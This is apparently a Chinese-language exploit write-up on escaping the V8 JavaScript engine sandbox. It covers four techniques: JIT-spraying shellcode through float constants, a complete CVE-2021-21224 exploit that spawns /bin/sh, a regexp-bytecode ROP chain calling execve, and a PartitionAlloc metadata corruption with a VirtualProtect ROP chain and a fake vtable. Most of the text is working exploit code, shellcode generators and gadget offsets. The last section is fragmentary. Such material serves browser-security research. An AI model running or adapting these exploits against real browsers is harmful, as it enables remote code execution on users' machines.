v8 sandbox沙箱绕过 总结

v8沙箱的本质其实就是修改了前面的,直接通过wasm就能获取到一个可以rwx的地址空间的地址,并且这个地址是可以直接访问的,于是可以通过rw原语修改这个地址上的数据,修改执行代码。现在加的沙箱就是将这个rwx的地址给隔离出来了,不能直接通过rw原语修改。也就是不在一个空间了。

绕过沙箱就是想办法获取到其他的在沙箱内rwx的地址空间,或者想办法能实现沙箱外的读写。PartitionAlloc 漏洞就是实现沙箱外读写,正则表达式就是获取其他的rwx的地址空间。但是这个正则并不是直接的获取到了一个沙箱内的rwx地址,而是本身具备那种栈的特性,可以进行修改

绕过沙箱的办法

一、Bypassing the sandbox with WasmInstance objects

二、Bypassing the sandbox using immediate numbers

该方法只能在低版本使用,测试现在在9.1.269能使用

我们现在构造这样的代码

1
2
3
4
5
6
 function shellcode() {
return [
1.0,
];
}
%DebugPrint(shellcode)

JSFunction中存在这样的内存结构。

![image-20260128092549496](picture/v8 sandbox沙箱绕过 总结/image-20260128092549496.png)

这里的code字段代表的是JSFunction函数要执行的汇编代码,处于 r-x 页。看一下这个code的结构。

![image-20260128092748818](picture/v8 sandbox沙箱绕过 总结/image-20260128092748818.png)

可以发现这里的汇编代码的起始地址在code代码的后面0x40个字节的样子,这点很关键后面用得着。现在继续看汇编代码,可以发现我们本来只有一个return 1.0这样的代码,但是汇编代码居然存在这么多。说明这里的汇编并不是单纯的将我们的1.0解释成代码,再结合0x55偏移的设置map,可以得出解释器将我们的数据解释为了一个创建一个数组然后返回他这样的格式。我们重新构建一个js,再来看看code的结构。

1
2
3
4
5
6
7
8
9
10
11
function shellcode() {
return [
1.0,
1.9553825422107533e-246,//0xceb580068732f68
1.9560612558242147e-246,//0xceb5a6e69622f68
1.9995714719542577e-246,//0xcebf63120e0c148
1.9533767332674093e-246,//0xceb50d231d00148
2.6348604765229606e-284//0x50f583b6ae78948
];
}
%DebugPrint(shellcode)

上面的浮点数表示的是执行/bin/sh的汇编代码。code的结构如下

![image-20260128093823382](picture/v8 sandbox沙箱绕过 总结/image-20260128093823382.png)

这里可以发现存在很多个REX.W movq r10,0xceb580068732f68这样的数据,这里其实就是在进行复制,构造一个浮点数组并返回。但我们这里注意到在汇编49ba682f73680058eb0c中存在了682f73680058eb0c这样的数据。也就是说49ba682f73680058eb0c这个汇编中包含了我们的传入的数据。这里为什么不直接用16进制传递进去呢,这里就涉及到v8的数据存储,会将我们的数据乘以2再存入进去。然后我们现在看看49ba682f73680058eb0c这段汇编数据。

![image-20260128094542359](picture/v8 sandbox沙箱绕过 总结/image-20260128094542359.png)

发现在偏移了两个单位后就是我们写入的代码。也就是说跳过49ba就是我们的代码。现在我们回来知道,v8会跳转到code的地址去进行访问和执行后面的代码。也就是说我们如果能控制code的值,也就能控制跳转到什么地方。我们接下来控制code的值为0x41414141。发现会卡在这里

![image-20260128095050954](picture/v8 sandbox沙箱绕过 总结/image-20260128095050954.png)

1
2
3
4
5
6
7
8
9
10
11
0x27da00040cd3:	pop    rbp
0x27da00040cd4: mov ecx,DWORD PTR [rdi+0x17]
0x27da00040cd7: add rcx,r13
0x27da00040cda: test DWORD PTR [rcx+0x1b],0x20000000
0x27da00040ce1: jne 0x27da00040cf0
0x27da00040ce7: add rcx,0x3f
0x27da00040ceb: jmp 0x27da00040cfb
0x27da00040cf0: mov ecx,DWORD PTR [rcx+0x1f]
0x27da00040cf3: mov rcx,QWORD PTR [r13+rcx*8+0x3590]
0x27da00040cfb: jmp rcx

这里发现rcx的值中就有我们改掉的0x41414141。前面的0x27da就是基地址,结合前面的add rcx,r13也能知道这个。然后对code的值的偏移0x1b的地方的数据判断是否最高位是否为1,是1就跳转,然后发现如果不跳转的话会add rcx,0x3f;jmp 0x27da00040cfb;jmp rcx,直接控制了执行流。但是因为汇编不是连续的,需要进行短跳jmp,算出来每个汇编之间是0x14个距离,每个汇编和环境不一样,根据环境变化的。然后也就是说我们能控制多个不连续的8字节汇编,留出两个字节进行短跳。还能控制6个字节,也就是写shellcode的时候要分段,每段汇编不超过6个字节。

值得注意的是,浮点数之间不能重复,重复的话会直接省略掉,也就是说会自动将数组中冗余的删除,这也是为什么后续我构造shellcode的时候会在不同的地方用nop。

然后给一个能弹出计算器的shellcode,并不完善。下面的代码有个问题就是,在v8的这个浮点数的sandbox的绕过方案中无法进行push rsp的操作,mov rax,rsp;push rax;这类的操作也是不行的,我怀疑是v8监控了栈的结构导致的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# coding=utf-8
from pwn import *
import struct

context(arch='amd64')

# 辅助函数:根据长度生成 jmp 机器码
def get_jmp_bytecode(offset):
# struct.pack('b', offset) 将整数转换为带符号的一个字节
return b'\xeb' + struct.pack('b', offset)

shell = u64(b'/bin/sh\x00')
argv = u64(b'DISPLAY=')
argv1 = u64(b"':0.0' x")
argv2 = u64(b"calc\x00\x00\x00\x00")
argv3 = u32(b'-c\x00\x00')

def make_double_and_convert(code, length=6, jmp_offset=0x14):
assert len(code) <= length
jmp_offset=jmp_offset-8
# 1. 动态生成跳转机器码
current_jmp = get_jmp_bytecode(jmp_offset)

if length == 6:
# 填充到 6 字节后加上 2 字节跳转,总计 8 字节
raw_bytes = code.ljust(6, b'\x90') + current_jmp
else:
# 最后一个片段通常不加跳转,直接填满 8 字节
raw_bytes = code.ljust(8, b'\x90')

# 2. 将字节转换为 64 位无符号整数 (注意:V8 内存通常是小端序 <Q)
# 如果你发现指令在内存里是反的,请把 '>Q' 改为 '<Q'
val_u64 = u64(raw_bytes)

# 3. 打包为 Double (通常交互和内存排布建议使用小端 '<d')
double_val = struct.unpack('<d', struct.pack('<Q', val_u64))[0]

return "{:.17E}".format(double_val)

# --- 准备 Shellcode 片段 ---
parts = [
asm("push %d;" % (argv3)),#-c
asm("mov rcx,rsp"),

asm("push %d; pop rax" % (shell >> 32)),#/bin/sh\x00
asm("push %d; pop rdx" % (shell & 0xffffffff)),
asm("nop;shl rax, 0x20"), #4
asm("add rax, rdx;push rax"),
asm("mov rdi,rsp"),

asm("push %d; pop rax" % (argv2 >> 32)),#"DISPLAY=':0.0' xcalc"
asm("push %d; pop rdx" % (argv2 & 0xffffffff)),
asm("nop;nop;shl rax, 0x20"),#4
asm("nop;add rax, rdx; push rax"),


asm("push %d; pop rax" % (argv1 >> 32)),
asm("push %d; pop rdx" % (argv1 & 0xffffffff)),
asm("xor esi,esi;shl rax, 0x20;"),#4
asm("nop;nop;add rax, rdx; push rax"),

asm("push %d; pop rax" % (argv >> 32)),
asm("push %d; pop rdx" % (argv & 0xffffffff)),
asm("shl rax, 0x20;xor esi,esi"),#4
asm("xor esi,esi;add rax, rdx; push rax"),

asm("push 59; pop rax"),
asm("xor edx,edx;mov rbx,rsp;push rbx"),
asm("push rcx;push rdi;mov rsi,rsp"),
# asm("xor edx,edx;xor rsi,rsi"),
asm("xor rcx,rcx;syscall")
]



for i in parts:
print(f"Hex: {i.hex().upper():<12}")
# --- 转换并打印结果 ---
print("--- Resulting Doubles ---")



for i in range(len(parts)):
if i >=15:
print(make_double_and_convert(parts[i], length=6,jmp_offset=(0x14+3))+",")
else:
print(make_double_and_convert(parts[i], length=6)+",")


然后给出一个CVE-2021-21224的完整的sandbox绕过的弹出shell的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
/*
CVE-2021-21224
HEAD @ b2ae9951d4a12b996532022959f44a0cd10184ec

https://bugs.chromium.org/p/chromium/issues/detail?id=1195777
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224
*/

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function shellcode() {
return [
1.0,
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
}

for (let i = 0; i < 0x10000; i++) {
shellcode();shellcode();
shellcode();shellcode();
shellcode();shellcode();
}


// 真正的 Float to Integer (用于从 oob 数组读取原始浮点数位模式)
function ftoi(val) {
if (typeof val === 'bigint') return val; // 如果已经是BigInt直接返回
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

// 真正的 Integer to Float (用于将地址写入 oob 数组)
function itof(val) {
// 确保 val 是 BigInt 再进行位运算
let v = BigInt(val);
u64_buf[0] = Number(v & 0xffffffffn);
u64_buf[1] = Number(v >> 32n);
return f64_buf[0];
}

const hex = x => {
return '0x' + x.toString(16);
}

function foo(a) {
let x = 0xffffffff;
if (a) x = -1;

let z = Math.max(0, x);
z = 0 - z;
z = Math.sign(z);

let cor = new Array(z);
cor.shift();

let oob = [1.1, 2.2, 3.3];
return { cor, oob };
}

for (let i = 0; i < 100000; i++)
foo(true);

let { cor, oob } = foo(false);
cor[16] = 1337;

/* flt.elements @ oob[10] (upper) */
/* obj.elements @ oob[22] (upper) */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];

function addrof(o) {
let a = ftoi(oob[22]) >> 32n;
let b = ftoi(oob[10]) & 0xffffffffn;
oob[10] = itof((a << 32n) + b);
obj[0] = o;
return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}

function read(p) {
let a = ftoi(oob[10]) & 0xffffffffn;
oob[10] = itof(((p - 8n + 1n) << 32n) + a);
return ftoi(flt[0]);
}

function write(p, x) {
let a = ftoi(oob[10]) & 0xffffffffn;
oob[10] = itof(((p - 8n + 1n) << 32n) + a);
flt[0] = itof(x);
}


function write32(p, val32) {
let old_val = read(p);
let old_val_int = ftoi(old_val);
let high32 = old_val_int & 0xffffffff00000000n;
let new_val_int = high32 | (BigInt(val32) & 0xffffffffn);
let a = ftoi(oob[10]) & 0xffffffffn;
oob[10] = itof(((p - 8n + 1n) << 32n) + a);
flt[0] = itof(new_val_int);
}

var shellcode_addr = ftoi(addrof(shellcode))& 0xffffffffn;
console.log("[*] leak shellcode_addr addr: 0x" + hex(shellcode_addr));

%DebugPrint(shellcode)

var code_addr = read(shellcode_addr+0x18n)& 0xffffffffn;
console.log("[*] leak code_addr addr: " + hex(code_addr));


var ins_base = code_addr+0xben-0x3fn-3n;

console.log("[*] leak ins_base addr: " + hex(ins_base))

write32(shellcode_addr+0x18n,ins_base);

shellcode();

三、V8 Sandbox escape via regexp

该漏洞在b9349d97fd44aec615307c9d00697152da95a66a被修复,也就是chrome的125.0.6374.0;v8的12.5.61之前可以使用。

现在我们有这样的代码:

1
2
3
4
let s = "aaaaa";
var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g;
%DebugPrint(regex);
regex.exec(s);

这段代码是创建一个正则表达式的匹配器,匹配的是a-zA-Z0-9的0~无限多个的字符串。既然是匹配器肯定有对应的代码去实现匹配。执行结果如下:

![image-20260128180600783](picture/v8 sandbox沙箱绕过 总结/image-20260128180600783.png)

在 V8 引擎中,JSRegExp 对象的 data 字段指向一个 **FixedArray**(在源码中通常被称为 RegExpData)。这是正则表达式的“灵魂”,存储了从源代码字符串到可执行机器码之间转换的所有中间产物。下面就是data的成员的详细解释

索引 成员名称 常见的数字/值含义 深度解析
0 Tag 0: 原子正则 1: 简单正则 2: Irregexp 表示该正则由 V8 的高级引擎(Irregexp)处理。你看到 2 说明它已启用复杂的编译逻辑。
1 Source 0x... (指针) 指向内存地址,存储你写的正则表达式文本。
2 Flags 1: g 2: i 4: m 1: 你的输出值 这是一个位掩码(Bitmask)。1 代表全局搜索模式。如果是 gi,该值会显示为 3 ($1 + 2$)。
3 Latin1 Code -1: 尚未编译 0x...: 机器码地址 这是针对 ASCII/Latin1 字符的 JIT 机器码-1 表示目前还在用解释器跑。
4 UC16 Code -1: 尚未编译 0x...: 机器码地址 针对 Unicode 字符的 JIT 机器码。
5 Latin1 Bytecode -1: 初始态 0x...: ByteArray 地址 你的劫持目标。如果正则运行过,这里会指向那 460 字节的指令集。
6 UC16 Bytecode -1: 初始态 0x...: ByteArray 地址 针对 Unicode 字符的解释器指令集。
7 Capture Count 0, 2, 4 捕获组数量。由于你的正则没括号,这里是 0(但执行时至少需要 2 个寄存器记录全匹配结果)。
8 Max Register Count 0N 虚拟寄存器的最大索引。
9 Ticks -1正整数 计数器。当一个正则被频繁调用(Tick 增加),V8 会决定从 Bytecode 升级到机器码。
10 Tiering State 0: 解释模式 1: 待优化 (Pending Optimize) 2: 优化中 状态机标志1 说明引擎已经盯上这个正则了,准备进行 JIT 优化。
11 Wrapper / Data 0指针 通常为 0。在某些版本的沙箱机制中,这里可能存放跳转表或元数据包装器。

这里的index10为1,说明需要通过JIT优化生成对应的机器码。Latin1 Bytecode保存的应该就是对应的JIT生成机器码的代码的对象,Latin1 Code表示的应该就是对应的机器码的对象。

regex.exec(s);后的data对象

![image-20260128182821276](picture/v8 sandbox沙箱绕过 总结/image-20260128182821276.png)

可以发现index10变成了0,也就是处于解释模式了,会直接跳转到Latin1 Code对象存储的机器码去。查看对应的ByteArray对象,也就是index5,发现没什么特殊的。![image-20260128183144393](picture/v8 sandbox沙箱绕过 总结/image-20260128183144393.png)

再查看对应的CodeWrapper对象,也就是index3,在code对象的instruction_start找到了对应的跳转代码。而且这个instruction_start是有沙箱保护的,我们也无法劫持这个。

![image-20260128183202500](picture/v8 sandbox沙箱绕过 总结/image-20260128183202500.png)

![image-20260128183210280](picture/v8 sandbox沙箱绕过 总结/image-20260128183210280.png)

但是我们发现ByteArray的数据是在RW-P的区域里面的,也就是说我们可以通过控制RegExp Bytecode来控制CodeWrapper中的 JIT(即时编译)代码。但需要构造和正则解释器支持的RegExp Bytecode代码来控制JIT(即时编译)代码的生成。下面解释一下V8 的 Irregexp 字节码是一种基于寄存器的、专门用于实现正则表达式回溯非确定有限状态自动机(NFA)的领域特定语言(DSL)。它的设计目标是尽可能精简,并能在解释执行与 JIT 编译之间无缝切换。以下是该指令集的核心规则:

1.指令基本结构

每条指令由 Opcode(操作码)Arguments(参数) 组成:

  • 编码方式:采用小端序(Little-endian)存储。
  • 指令对齐:指令长度不固定,根据参数数量而定(通常以 4 字节为基本单元对齐,但 Opcode 占低位)。
  • 寄存器模型:Irregexp 不使用通用 CPU 寄存器,而是使用内存中的一个 int 数组作为“正则寄存器”,用于记录捕获组位置(Capture Positions)和循环计数。

2.五大指令类型规则

A. 字符匹配 (Character Matching)

负责检查输入字符串。

  • LOAD_CURRENT_CHAR: 加载当前字符串指针处的字符。
  • CHECK_CHAR_IN_RANGE: 检查字符是否在 $[low, high]$ 区间。
  • 核心规则:如果匹配失败,隐式触发 Backtrack(回溯)

B. 控制流 (Control Flow)

决定解释器的跳转逻辑。

  • JUMP: 绝对跳转。
  • PUSH_BT <offset>: 最重要的指令。在遇到分支(如 |*)时,将当前地址加上 offset 压入回溯栈。如果后续路径匹配失败,解释器会弹出此地址并跳转过去。
  • SUCCEED / FAIL: 匹配终止符。

C. 栈操作 (Backtrack Stack)

不同于普通的调用栈,回溯栈存储的是“可能性”。

  • PUSH_CP: 压入当前字符串指针(Current Position)。
  • POP_CP: 回溯时弹出并恢复位置,实现“退格”。

D. 寄存器操作 (Register Management)

  • SET_REGISTER: 将当前字符串位置写入指定的寄存器。
  • ADVANCE_REGISTER: 对寄存器值进行加减(常用于处理固定长度的重复)。

E. 边界检查 (Assertions)

  • CHECK_AT_START: 检查是否在字符串开头(对应 ^)。
  • CHECK_NOT_BACKREF: 处理反向引用。

这里就不再去解释这个指令了,下面给出v8在开启v8_enable_memory_corruption_api=true的时候适用的sandbox绕过代码,该代码基于1fd3f98c07afc527a68ee15a9e0d6869defec2a9的v8版本为12.5.0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
// Flags:  --sandbox-fuzzing
let s = "aaaaa";

var sbxMemView = new Sandbox.MemoryView(0, 0xfffffff8);
var addrOf = (o) => Sandbox.getAddressOf(o);

var dv = new DataView(sbxMemView);

var readHeap4 = (offset) => dv.getUint32(offset, true);
var readHeap8 = (offset) => dv.getBigUint64(offset, true);

var writeHeap1 = (offset, value) => dv.setUint8(offset, value, true);
var writeHeap4 = (offset, value) => dv.setUint32(offset, value, true);
var writeHeap8 = (offset, value) => dv.setBigUint64(offset, value, true);

var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g;
let addr_regex = addrOf(regex);

console.log(`[+] addr_regex: 0x${addr_regex.toString(16)}`);
%DebugPrint(regex);

let data_addr = readHeap4(addr_regex + 0xc);
console.log(`[+] data_addr = addr_regex + 0xc: 0x${data_addr.toString(16)}`);

regex.exec(s);
let bytecode = readHeap4(data_addr + 0x1b);

console.log(`[+] bytecode = data_addr + 0x1b: 0x${bytecode.toString(16)}`);

let data_addr_0x2f_1 = readHeap4(data_addr + 0x2f);
console.log(`[+] data_addr + 0x2f: 0x${data_addr_0x2f_1.toString(16)}`);

writeHeap4(data_addr + 0x2f, 2);

let data_addr_0x2f_2 = readHeap4(data_addr + 0x2f);
console.log(`[+] data_addr + 0x2f: 0x${data_addr_0x2f_2.toString(16)}`);


// --- 构造伪造指令数组 (ROP Chain Helper) ---
let arr = [];

function push_reg(idx) { arr.push((idx << 8) | 0x03); }
function pop_reg(idx) { arr.push((idx << 8) | 0x0c); }
function mov_reg1_to_reg2(idx1, idx2) { push_reg(idx1); pop_reg(idx2); }
function advance_reg(idx, value) {
arr.push((idx << 8) | 0x09);
arr.push(value);
}
function set_reg(idx, value) {
arr.push((idx << 8) | 0x08);
arr.push(value);
}
function success() { arr.push(0x0000000e); }

let idx = 0x52;
function add_gadget(addr) {
mov_reg1_to_reg2(3, 5);
advance_reg(5, addr);
mov_reg1_to_reg2(5, idx++);
mov_reg1_to_reg2(4, idx++);
}


// --- ROP 链构造:执行 execve("/bin/sh") ---
mov_reg1_to_reg2(0x53, 4); // 设置高位
mov_reg1_to_reg2(0x52, 3); // 设置低位
advance_reg(3, 0x1724F60-0x2E49EC0); // 修正地址基准
add_gadget(0x00000000011b08fe); // pop rsi

set_reg(idx++, 0x6e69622f); // /bin
set_reg(idx++, 0x0068732f); // /sh
add_gadget(0x00000000014c38f8); // pop r8

add_gadget(0x277B000+0x10000); // 目标内存
add_gadget(0x277B000+0x10000); // 目标内存
add_gadget(0x277B000+0x10000); // 目标内存

add_gadget(0x0000000001ccffdd); // mov [r8], rsi



add_gadget(0x00000000011b08fe); // pop rsi
set_reg(idx++, 0); // 参数清零
set_reg(idx++, 0); // 参数清零
add_gadget(0x00000000014c38f8); // pop r8
add_gadget(0x277B000+0x10000+0x8); // 目标
add_gadget(0x277B000+0x10000+0x8); // 目标
add_gadget(0x277B000+0x10000+0x8); // 目标

add_gadget(0x0000000001ccffdd); // mov [r8], rsi
add_gadget(0x000000000118ac9d); // pop rdi

add_gadget(0x277B000+0x10000); // /bin/sh 地址
add_gadget(0x00000000011b08fe); // pop rsi

add_gadget(0x277B000+0x10000+8); // argv
add_gadget(0x000000000125dd86); // pop rdx

add_gadget(0x277B000+0x10000+8); // envp
add_gadget(0x0000000001e46d40); // pop rax

set_reg(idx++, 0x0000003b); // execve
set_reg(idx++, 0); // 高位
add_gadget(0x00000000010f192d); // syscall

success();

// --- 最终触发 ---
console.log(`[+] success`);


let buf1 = new ArrayBuffer(arr.length * 4); // 确保长度足够存放 32 位数据
let view = new DataView(buf1);
%DebugPrint(buf1);
writeHeap4(addrOf(buf1) + 0x24, 0x0);
writeHeap4(addrOf(buf1) + 0x23, bytecode+0x7);
%DebugPrint(buf1);
console.log(`[+] writeHeap4 buf1 + 0x23 : 0x${(bytecode+7).toString(16)}`);

for (let i = 0; i < arr.length; i++) {
// 使用 setUint32 写入,第三个参数 true 代表小端序 (Little-endian)
view.setUint32(i * 4, arr[i], true);
}
regex.exec(s); // 触发 ROP

四、PartitionAlloc 漏洞

0x1 突破第一层:ArrayBuffer 属性篡改

要实现逃逸,首先需要破坏 ArrayBuffer 在沙箱内的对象模型。通过已有的 OOB(越界读写)漏洞,我们定位并修改 ArrayBuffer 的核心字段。

  • 修改 byte_length:解除长度限制。
  • 修改 max_byte_length:同步校验长度。
  • 修改 backing_store:将其偏移重置,使 DataView 的视角能够覆盖到整个沙箱的基址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DebugPrint: 0x271600055c5d: [JSArrayBuffer]
- map: 0x27160018bbfd <Map[64](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x27160018bcd1 <Object map = 0x271600199071>
- elements: 0x2716000006fd <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x271900000000
- byte_length: 131072
- max_byte_length: 131072
- detach key: 0x271600000069 <undefined>
- detachable
- properties: 0x2716000006fd <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
1
2
3
4
5
const ab_addr = ftoi(addrOf(ab))& 0xffffffffn; 
console.log(`[+] ab_addr: 0x${ab_addr.toString(16)}`);
caged_write(BigInt(ab_addr) + 0x16n, 0xf0000000n);
caged_write(BigInt(ab_addr) + 0x1en, 0xf0000000n);
caged_write(BigInt(ab_addr) + 0x26n, 0n); // 将偏移归零,使其基址指向沙箱开头

0x2 关键泄露:定位 Chrome 与 PartitionAlloc 基址

由于 DataView 现在可以访问沙箱起始地址,我们可以通过固定偏移寻找关键的内存指针。

  • Chrome Base: 用于后续寻找 ROP Gadgets 和 IAT 表。
  • PartitionAlloc Base: 用于确定我们控制的堆内存(Shellcode 存放地)在物理内存中的绝对地址。

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

const dv = new DataView(ab);

const chrome_leak = dv.getBigUint64(0x1090, true);
const ab_pa_leak = dv.getBigUint64(0x1080, true);
const ab_partition_base = ab_pa_leak

console.log("[+] chrome_leak:", chrome_leak.toString(16));
console.log("[+] ab_pa_leak:", ab_pa_leak.toString(16));

checkUA(chrome_leak);//检查浏览器版本并定义偏移
const chrome_base = chrome_leak - base_leak_ofs;
console.log("[+] chrome_base:", chrome_base.toString(16));
console.log("[*] ab_partition_base:", ab_partition_base.toString(16));
await sleep();



function checkUA(chrome_leak) { // 定义检查浏览器版本和泄露地址的函数
if ((chrome_leak & 0xffffn) === 0xfd00n) { // 判断泄露地址的低16位是否符合特定版本的特征
base_leak_ofs = 0xd39fd00n; // 记录泄露点相对于chrome.dll基址的偏移量
base_tgt_ofs = 0xd35ffb8n; // 记录目标代码指针表(CPT)的偏移量
fptr_xor = 0xff000000000000n; // 记录V8引擎内部用于指针压缩/保护的异或掩码

// ROP Gadgets:用于绕过 DEP(执行保护)
pivot_gadget = 0x895558en; // 栈翻转指令片段的偏移量,用于控制RSP
pop_gadget = 0x67620cn; // 弹出寄存器操作(POP)指令片段的偏移
prax_ret = 0x6cd1n; // 设置RAX寄存器值的指令片段偏移
jmp_drax = 0x1d1e7n; // 跳转到RAX指向地址(JMP [RAX])的指令偏移
virtualprotect_iat_ofs = 0xd214850n; // VirtualProtect API在导入表(IAT)中的偏移位置

// 虚函数表 (Vtable) 相关偏移
vtable_gadget = 0x96b3672n; // 虚函数表相关的指令片段偏移
vtable_rax = 0xd4dab30n; // 虚函数表劫持中涉及RAX寄存器的偏移
vtable_call_base = 0xd3125e8n; // 虚函数调用的基准地址偏移
}

0x3 劫持bucket:伪造 Metadata 劫持 PartitionAlloc

V8 沙箱逃逸的核心在于利用 PartitionAlloc。通过修改其元数据(Metadata)中的 bucket 指针,我们可以欺骗分配器,使其认为某个任意内存地址(如 chrome.dll 的数据段)是一个可分配的空闲块。

  1. 篡改元数据:通过 dv.setBigUint64 修改 0x1090 处的指针。
  2. 触发同步:调用 ArrayBuffer.transfer(0),强制 V8 刷新内存状态并应用伪造的元数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
get_0x1090 = dv.getBigUint64(0x1090, true); // 读取验证
console.log(`[+] get_0x1090: 0x${get_0x1090.toString(16)}`); // 打印

get_0x1098 = dv.getBigUint64(0x1098, true); // 读取验证
console.log(`[+] get_0x1098: 0x${get_0x1098.toString(16)}`); // 打印


// 模块 7:绕过 V8 沙箱限制 (Sandbox Escape)
// 通过伪造 PartitionAlloc 的 Metadata -> bucket 实现任意写
// 修改 Sandbox 的 Size 为极大值,从而覆盖所有 64 位寻址空间
dv.setBigUint64( // 在特定内存位置写入目标地址
0x1090, // 覆盖元数据指针
chrome_base + base_tgt_ofs + 0x28n + 0x2n, // 计算目标写入点
true // 使用小端序
); // 结束设置
dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true); // 触发特定内存位的标志以启用写原语




get_0x1090_2 = dv.getBigUint64(0x1090, true); // 读取验证
console.log(`[+] get_0x1090_2: 0x${get_0x1090_2.toString(16)}`); // 打印

get_0x1098_2 = dv.getBigUint64(0x1098, true); // 读取验证
console.log(`[+] get_0x1098_2: 0x${get_0x1098_2.toString(16)}`); // 打印




abs[absctr++].transfer(0); // 调用ArrayBuffer.transfer,这会触发底层的内存释放/分配逻辑并应用我们的修改
console.log("[+] Sandbox size overwritten"); // 记录沙箱大小已被覆盖
await sleep(); // 等待内存同步

0x4 部署战场:Shellcode 与 ROP 链

在获得任意读写原语后,我们需要在内存中布置攻击负载。

  • Shellcode: 实际执行的任务(如弹计算器)。
  • ROP Chain: 调用 VirtualProtect 将 Shellcode 所在的内存页权限改为 RWX (0x40)。
  • Fake Vtable: 伪造虚函数表,用于劫持执行流。

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

// 模块 8:部署 Shellcode 和 ROP 链
// 内存布局:Shellcode(0x14000), ROP(0x1e000), Vtable(0x1f000)
for (let i = 0; i < sc.length; i++) { // 遍历机器码字节
dv.setUint8(0x14000 + i, sc[i]); // 将Shellcode写入预测好的内存偏移位置
} // 结束循环

get_0x14000 = dv.getBigUint64(0x14000, true); // 验证读取Shellcode开头
console.log(`[+] get_0x14000: 0x${get_0x14000.toString(16)}`); // 打印
get_0x14008 = dv.getBigUint64(0x14008, true); // 验证后续内容
console.log(`[+] get_0x14008: 0x${get_0x14008.toString(16)}`); // 打印


// 构造 ROP 链以调用 VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READ, ...)
function set_rop(ofs, val) { // 定义ROP链辅助写入函数
dv.setBigUint64(0x1e000 + ofs, val, true); // 在偏移0x1e000处按顺序写入64位跳转目标
} // 结束定义
set_rop(0x0, chrome_base + pop_gadget); // ROP 1: 跳转到POP指令片段
set_rop(0x8, ab_partition_base + 0x14000n); // ROP 2: 设置RCX指向Shellcode地址
set_rop(0x10, 0x2000n); // ROP 3: 设置RDX为内存大小
set_rop(0x18, 0x20n); // ROP 4: 设置R8为权限标记0x20 (PAGE_EXECUTE_READ)
set_rop(0x20, ab_partition_base + 0x1eff0n); // ROP 5: 设置R9为旧权限存放地址
set_rop(0x28, 0n); // ROP 6: 占位对齐
set_rop(0x30, chrome_base + prax_ret); // ROP 7: 设置RAX准备调用
set_rop(0x38, chrome_base + virtualprotect_iat_ofs); // ROP 8: RAX = VirtualProtect API 的真实地址
set_rop(0x40, chrome_base + jmp_drax); // ROP 9: 跳转并执行 VirtualProtect
set_rop(0x48, ab_partition_base + 0x14000n); // ROP 10: 执行完成后,跳转到已具备执行权限的Shellcode

// 初始化伪造的虚函数表
for (let i = 0; i < 0x1000; i += 0x10) { // 在内存中大范围填充
dv.setBigUint64( // 写入伪造的表项
0x1f000 + i, // 计算表地址
(chrome_base + vtable_gadget) ^ fptr_xor, // 对指针进行异或后写入,以绕过加密检查
true // 小端序
); // 结束设置
} // 结束循环

console.log("[+] shellcode / ropchain / vtable init complete"); // 输出初始化完成日志

0x4 构造原语:构造任意写和置零原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

// 辅助函数:利用 PartitionAlloc 漏洞将特定内存区域置零
function zero_out(base, len, stride = 2) { // 定义零填充函数
for (let ofs = len - 2; ofs >= 0; ofs -= stride) { // 按步长反向循环
dv.setBigUint64(0x1090, base + BigInt(ofs) - 6n, true); // 修改元数据指向目标
dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true); // 置位
abs[absctr++].transfer(0); // 触发置零
} // 结束循环
} // 结束定义

